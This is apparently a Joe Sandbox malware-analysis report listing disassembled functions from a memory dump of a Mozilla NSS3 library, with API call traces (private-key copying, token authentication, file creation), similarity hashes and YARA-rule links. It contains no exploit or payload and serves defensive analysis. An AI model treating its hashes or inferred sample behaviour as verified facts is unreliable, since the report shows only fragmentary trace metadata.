APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CB285D2,00000000,?,?), ref: 6CC44FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC4500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC450C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC450D6

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 2b1cb4b7edaf7b6fce3c0dea93b26790343cec301b6b54c308232cf5e46f7c38
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 7D416DB6A402158BCB18CF18DCD179AB7E1BF4431871D866DD84ACBB02F779E891CB81

Function 6CB6FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CB6FDFE), ref: 6CB6FFAD

Part of subcall function 6CB0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CB6F9C9,?,6CB6F4DA,6CB6F9C9,?,?,6CB3369A), ref: 6CB0CA7A
Part of subcall function 6CB0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB0CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CB6FDFE), ref: 6CB6FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CB6FDFE), ref: 6CB7001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CB6FDFE), ref: 6CB7006F

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 8bba230f7eaf3106663e5784d54ebfa33200eeeb65577088fb4504d3b2d78852
Instruction ID: 8c54e50443749db9c623b442509578a2291c5c3b2ad4a87d828412b9dcfac384
Opcode Fuzzy Hash: 8bba230f7eaf3106663e5784d54ebfa33200eeeb65577088fb4504d3b2d78852
Instruction Fuzzy Hash: 3B41C471B002599FDF14DFA4E885AAEB775FF4A314F04012EDC1693701DB36A951CBA2

Function 6CC57DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC57E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC57EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC57EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CC57ED8

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: d691c5db64c76d8cce867e78d75f0cb28ffc8d8ee39f8743cfd677ffc02e69e1
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 4731B5B1B112118FDB04CF09D89199ABBE2FF8831871B816AC8585B711FB71EC65CBD1

Function 6CC0DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CB93090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBAAE42), ref: 6CB930AA
Part of subcall function 6CB93090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB930C7
Part of subcall function 6CB93090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CB930E5
Part of subcall function 6CB93090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB93116
Part of subcall function 6CB93090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB9312B
Part of subcall function 6CB93090: PK11_DestroyObject.NSS3(?,?), ref: 6CB93154
Part of subcall function 6CB93090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB9317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CC0DBBD), ref: 6CC0DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC0DFEE

Part of subcall function 6CBA86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA8716
Part of subcall function 6CBA86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA8727
Part of subcall function 6CBA86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBA873B
Part of subcall function 6CBA86D0: PR_Unlock.NSS3(?), ref: 6CBA876F
Part of subcall function 6CBA86D0: PR_SetError.NSS3(00000000,00000000), ref: 6CBA8787

Part of subcall function 6CBCF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CBCF854
Part of subcall function 6CBCF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CBCF868
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CBCF882
Part of subcall function 6CBCF820: free.MOZGLUE(04C483FF,?,?), ref: 6CBCF889
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CBCF8A4
Part of subcall function 6CBCF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CBCF8AB
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CBCF8C9
Part of subcall function 6CBCF820: free.MOZGLUE(280F10EC,?,?), ref: 6CBCF8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CC0DBBD), ref: 6CC0DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CC0DBBD), ref: 6CC0E007

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 0132c9737956575b361a6eaf12d9575870617fa97e537a729068e88190f731d3
Instruction ID: 7f588bdf53b0fcd3f38f18bd0654aa957e80537f4b721e3d6bbe2efe317503f6
Opcode Fuzzy Hash: 0132c9737956575b361a6eaf12d9575870617fa97e537a729068e88190f731d3
Instruction Fuzzy Hash: AD31E4B1B0464157E700AA79AC84A9F73B8AF5530DF054135EA0AC7B12FB32E959C2E2

Function 6CB86C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB86C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB86CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CB86CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CCA8FE0), ref: 6CB86CFE

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 769ed9432f1c2868021677710bf4cf669d7881b244f283f69b546925b6e7906e
Instruction ID: fc967b5b236d93c30c442174c8fe784001c0d1fa204a941f6ae7195b71b6ec9f
Opcode Fuzzy Hash: 769ed9432f1c2868021677710bf4cf669d7881b244f283f69b546925b6e7906e
Instruction Fuzzy Hash: 7631AFB1A012569FEB08CF65C881ABFBBF9EF49248F14442DD905E7701FB319905CBA1

Function 6CC94F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CC94F5D
free.MOZGLUE(?), ref: 6CC94F74
free.MOZGLUE(?), ref: 6CC94F82
GetLastError.KERNEL32 ref: 6CC94F90

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 661e51b0c2c11c247464216235b4fc86dd9ed443ce4a26a91f3d5954ecd252bd
Instruction ID: 553a763ae66a5c91a7c58011433adf1e43825870522329ec384533f5b9dbb3cd
Opcode Fuzzy Hash: 661e51b0c2c11c247464216235b4fc86dd9ed443ce4a26a91f3d5954ecd252bd
Instruction Fuzzy Hash: BC31F875A0061A5BEB01CB69DC81BDFB3B8FF45398F044229EC26A7781FB34E905C691

Function 6CBF6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CBF6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF6E57

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CBF6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CBF6EAA

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 4d3a0dfd4357511bc5a88b698235b425fde2c50c47e98d2616bd3bef854eb164
Instruction ID: 30c33b8c33f597e485dc70b67de76702c63d428bd4d9ee33942b5aca7a68b075
Opcode Fuzzy Hash: 4d3a0dfd4357511bc5a88b698235b425fde2c50c47e98d2616bd3bef854eb164
Instruction Fuzzy Hash: DC31C1336105A2EEDB145F34DD043A6B7A4EB1531AF10463CDCA9D6B80EB31A95ECF82

Function 6CBDDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CBDDDB1,?,00000000), ref: 6CBDDDF4

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CBDDDB1,?,00000000), ref: 6CBDDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CBDDDB1,?,00000000), ref: 6CBDDE17

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CBDDE80

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: d2a089e21716306a16813af23f7addb176ee71dd43d06ae745ae147458b9aceb
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: AC31B8B19017839BEB00CF66E880656F7E4FFA5358B268229D85D87B01E770F5A4CF91

Function 6CBCFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CBA5ADC,?,00000000,00000001,?,?,00000000,?,6CB9BA55,?,?), ref: 6CBCFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBCFE5F
PR_Unlock.NSS3(78831D74), ref: 6CBCFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CBCFED6

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: cf468378fdd2ee8ca3a8e0667e92c4f23f7e6a369c69e2b7fdd841cb8fbf30c6
Instruction ID: bd9dc1977fbfa659668d81b7c6109a7b2c5ecac66f2685e94e25836cb3d71ceb
Opcode Fuzzy Hash: cf468378fdd2ee8ca3a8e0667e92c4f23f7e6a369c69e2b7fdd841cb8fbf30c6
Instruction Fuzzy Hash: 6B213131F00666ABDB00AF74E80479A73B8FF05359F0401A5DD04A7E42E730E964CBD2

Function 6CBD3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CBD3440: PK11_GetAllTokens.NSS3 ref: 6CBD3481
Part of subcall function 6CBD3440: PR_SetError.NSS3(00000000,00000000), ref: 6CBD34A3
Part of subcall function 6CBD3440: TlsGetValue.KERNEL32 ref: 6CBD352E
Part of subcall function 6CBD3440: EnterCriticalSection.KERNEL32(?), ref: 6CBD3542
Part of subcall function 6CBD3440: PR_Unlock.NSS3(?), ref: 6CBD355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CBBE80C,00000000,00000000,?,?,?,?,6CBC8C5B,-00000001), ref: 6CBD3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CBBE80C,00000000,00000000,?,?,?,?,6CBC8C5B,-00000001), ref: 6CBD3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CBBE80C,00000000,00000000,?,?,?,?,6CBC8C5B,-00000001), ref: 6CBD3FFE
PR_SetError.NSS3 ref: 6CBD401A

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 1e74150b503ce00fe538e835a487bf1f5743eb2656e18ede3d1801f7ec6ecf6c
Instruction ID: e8d03a226404df07af636c16d48e9f73dce5f7d23e7a619088aa4d17edb160c4
Opcode Fuzzy Hash: 1e74150b503ce00fe538e835a487bf1f5743eb2656e18ede3d1801f7ec6ecf6c
Instruction Fuzzy Hash: 4B316070904B448FDB10AF69D48466EBBF4FF89315F12592ED88987700EB34E885CB92

Function 6CBC4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CBCB60F,00000000), ref: 6CBC5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CBCB60F,00000000), ref: 6CBC501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CBCB60F,00000000), ref: 6CBC504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CBCB60F,00000000), ref: 6CBC5064

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 05b13f6a9884d53f5643840e22f1a65f52b8fd63ae3d2cafbd1828b3d1fb2882
Instruction ID: 2f63ee2274ecdc10caa269ddd2a13cdf4ad851c83323326697718d04979fd68c
Opcode Fuzzy Hash: 05b13f6a9884d53f5643840e22f1a65f52b8fd63ae3d2cafbd1828b3d1fb2882
Instruction Fuzzy Hash: E23139B4A05A46CFDB00EF68C48456ABBF8FF09304F108569D859D7701EB30E994CBD2

Function 6CB81EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CB84C64,?,-00000004), ref: 6CB81EE2

Part of subcall function 6CBE1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CB81D97,?,?), ref: 6CBE1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CB84C64,?,-00000004), ref: 6CB81F13
DER_DecodeTimeChoice_Util.NSS3(?,6CB84CA0,?,?,?,?,?,?,00000000,00000000,?,6CB84C64,?,-00000004), ref: 6CB81F37
DER_DecodeTimeChoice_Util.NSS3(?,6CB84C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB84C64,?,-00000004), ref: 6CB81F53

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: 24cc74527289c0d57111d40b39e598f282479234ca38bc90eb4293d36bce1695
Instruction ID: 39b76a1829937a2bffef9096f70dbd5edcf2019ff256015b46df052ee06e8206
Opcode Fuzzy Hash: 24cc74527289c0d57111d40b39e598f282479234ca38bc90eb4293d36bce1695
Instruction Fuzzy Hash: 20218471506356AFC700CF29DD00A9FB7E9EB8869AF184929E854C3A40F730E559CBE3

Function 6CBE9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CBEA71A,FFFFFFFF,?,?), ref: 6CBE9FAB

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CBEA71A,6CBEA71A,00000000), ref: 6CBE9FD9

Part of subcall function 6CBE1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE136A
Part of subcall function 6CBE1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE137E
Part of subcall function 6CBE1340: PL_ArenaGrow.NSS3(?,6CB7F599,?,00000000,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?), ref: 6CBE13CF
Part of subcall function 6CBE1340: PR_Unlock.NSS3(?,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CBEA71A,6CBEA71A,00000000), ref: 6CBEA009
PR_SetError.NSS3(FFFFE013,00000000,6CBEA71A,6CBEA71A,00000000), ref: 6CBEA045

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: b5b98d9189f3a9712374243240baeca6f5dfed14cbec84d68fb174b0a26766c9
